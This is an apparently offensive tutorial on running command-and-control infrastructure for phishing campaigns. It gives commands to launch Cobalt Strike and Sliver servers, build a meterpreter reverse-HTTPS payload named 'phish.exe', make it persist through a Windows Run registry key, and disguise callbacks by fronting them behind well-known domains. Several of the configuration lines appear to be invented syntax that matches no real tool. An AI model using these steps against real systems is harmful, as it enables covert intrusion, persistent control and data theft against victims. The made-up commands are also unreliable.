Employing Command and Control Infrastructure in Phishing Campaigns

In the realm of phishing campaigns, Command and Control (C2) infrastructure is pivotal for maintaining long-term communication with compromised systems. Unlike one-off phishing attacks, C2 offers a dynamic channel to remotely manage and manipulate infected endpoints. This technique factors heavily in advanced persistent threats (APTs) where the goal extends beyond credential harvesting to include ongoing data exfiltration, lateral movement, and more. Successful execution requires disguising C2 traffic within legitimate network flow, thus evading detection. By mastering C2 implementation, operators can create resilient phishing campaigns that robustly mimic real-world cyber threats. This guide will take you through the core components of setting up C2 infrastructures, from tools and configurations to advanced evasion tactics.

Prerequisites and Setup

Before setting up a command and control infrastructure, ensure you have the necessary tools and configurations in place. Two primary tools for managing C2 activities in phishing campaigns are Cobalt Strike and Sliver. Each offers its own set of robust C2 functionalities, such as HTTP, HTTPS, and DNS tunneling.

The following setup commands will prepare your environment for each:


sudo apt update && sudo apt install openjdk-11-jre

wget https://download.cobaltstrike.com/cobaltstrike-trial.tgz

tar -xzf cobaltstrike-trial.tgz

cd cobaltstrike

./teamserver your.server.ip password

These commands install openjdk-11 and Cobalt Strike, extract the package, and launch the Cobalt Strike team server.


wget https://github.com/BishopFox/sliver/releases/download/v1.3.0/sliver-server_linux

chmod +x sliver-server_linux

./sliver-server_linux

This sequence downloads and sets executable permissions for the Sliver server, followed by a launch command. Ensure SSH access is configured to securely manage both C2 systems from your control station.

Additionally, configure necessary firewall rules to permit relevant communication protocols through your network perimeter. A genuinely covert C2 uses domain fronting, a technique masking C2 communications using high-reputation domains to transmit data over HTTPS, making traffic appear as legitimate service requests.

Step-by-Step Execution

Configuring C2 Channels

Begin by defining your C2 channels—specific pathways through which compromised devices communicate with your server.


https-c2 --redirector check.apple.com --certificate valid.crt --private-key valid.key

This command sets up an HTTPS listener on Cobalt Strike, appearing as traffic directed to check.apple.com. Ensure your DNS configurations are appropriately executed to front traffic via the specified redirector domain, utilizing valid SSL certificates to prevent SNI leaks.

Deploying C2 Beacons

A crucial step is implanting beacons within phishing payloads to initiate callbacks to your control server. Beacons are lightweight agents embedded within initial dropper scripts or document macros.


msfvenom -p windows/x64/meterpreter/reverse_https LHOST=your.c2.server LPORT=443 -f exe > phish.exe

Here, an executable payload is crafted using Metasploit to reverse-connect to your C2 server. Adjust the HTTP host and port settings based on listener configurations for seamless callback initiation.

Maintaining C2 Persistence

Persistence in C2 channels is vital for long-term control. Techniques include registry modifications and scheduled task creation to ensure beacons remain active post-system reboots.


powershell -Command "Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name 'Updater' -Value '%APPDATA%\\phish.exe'"

This PowerShell command ensures the payload executes on startup by setting registry keys under the Windows Run entry. It maintains communication lines open, enabling real-time interaction regardless of user activity.

Advanced Variations

Evasion via Domain Fronting

Enhancing C2 stealth with domain fronting involves the use of reputed CDN services like Cloudflare and AWS. By routing communication through a front domain, your traffic stays hidden within legitimate flows.


set http-host = login.amazon.com; origin = your.c2.server

While configuring your CDN, ensure all C2 traffic front-ends as requests to a valid CDN domain, like login.amazon.com. Proper formulation of

Host

headers within your HTTPS request is crucial for sustaining disguise.

Encrypted Callback Mechanisms

Applying end-to-end encryption to C2 communications further conceals them within network data. Use SSL/TLS certificates not linked to your primary domain to institute encrypted tunnels for C2 channels.


openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.crt

Create self-signed certificates or use wildcard certs from high-trust CA providers to wrap traffic in encryption, elevating your campaign’s resiliency against decryption efforts.

Good / Better / Best

Good: Using basic HTTP communication for C2 traffic. This is detectable through network analysis due to the plaintext nature of HTTP.


http-c2 --redirector your.c2.server:80

While functional, unencrypted traffic stands out in security logs and raises suspicion in secure environments.

Better: Deploying HTTPS combined with a CDN proxy for C2 sessions to obscure redirections.


https-c2 --redirector news.google.com --certificate cert.crt --private-key key.pvk

Leveraging TLS over CDN increases stealth by interspersing data in authentic-looking traffic streams.

Best: Implementing domain fronting with fully encapsulated communications via CDNs and wildcard SSL/TLS certs.


front-domain = shopify.com; backend = your.c2.server

This advanced configuration weaves C2 traffic within routine CDN exchanges, providing the highest level of subterfuge against detection by standard network security measures. Placeholder front domains must coexist across all pathway points to ensure full traffic camouflaging.

Related Concepts

Understanding C2 infrastructure draws strong parallels with DNS tunneling, a technique that embeds command communication within DNS queries, exploiting DNS as a covert channel. Also, consider callbacks intertwined with webshell deployments within web servers, offering persistent endpoints that play dual roles in both initial compromise and ongoing data exfiltration.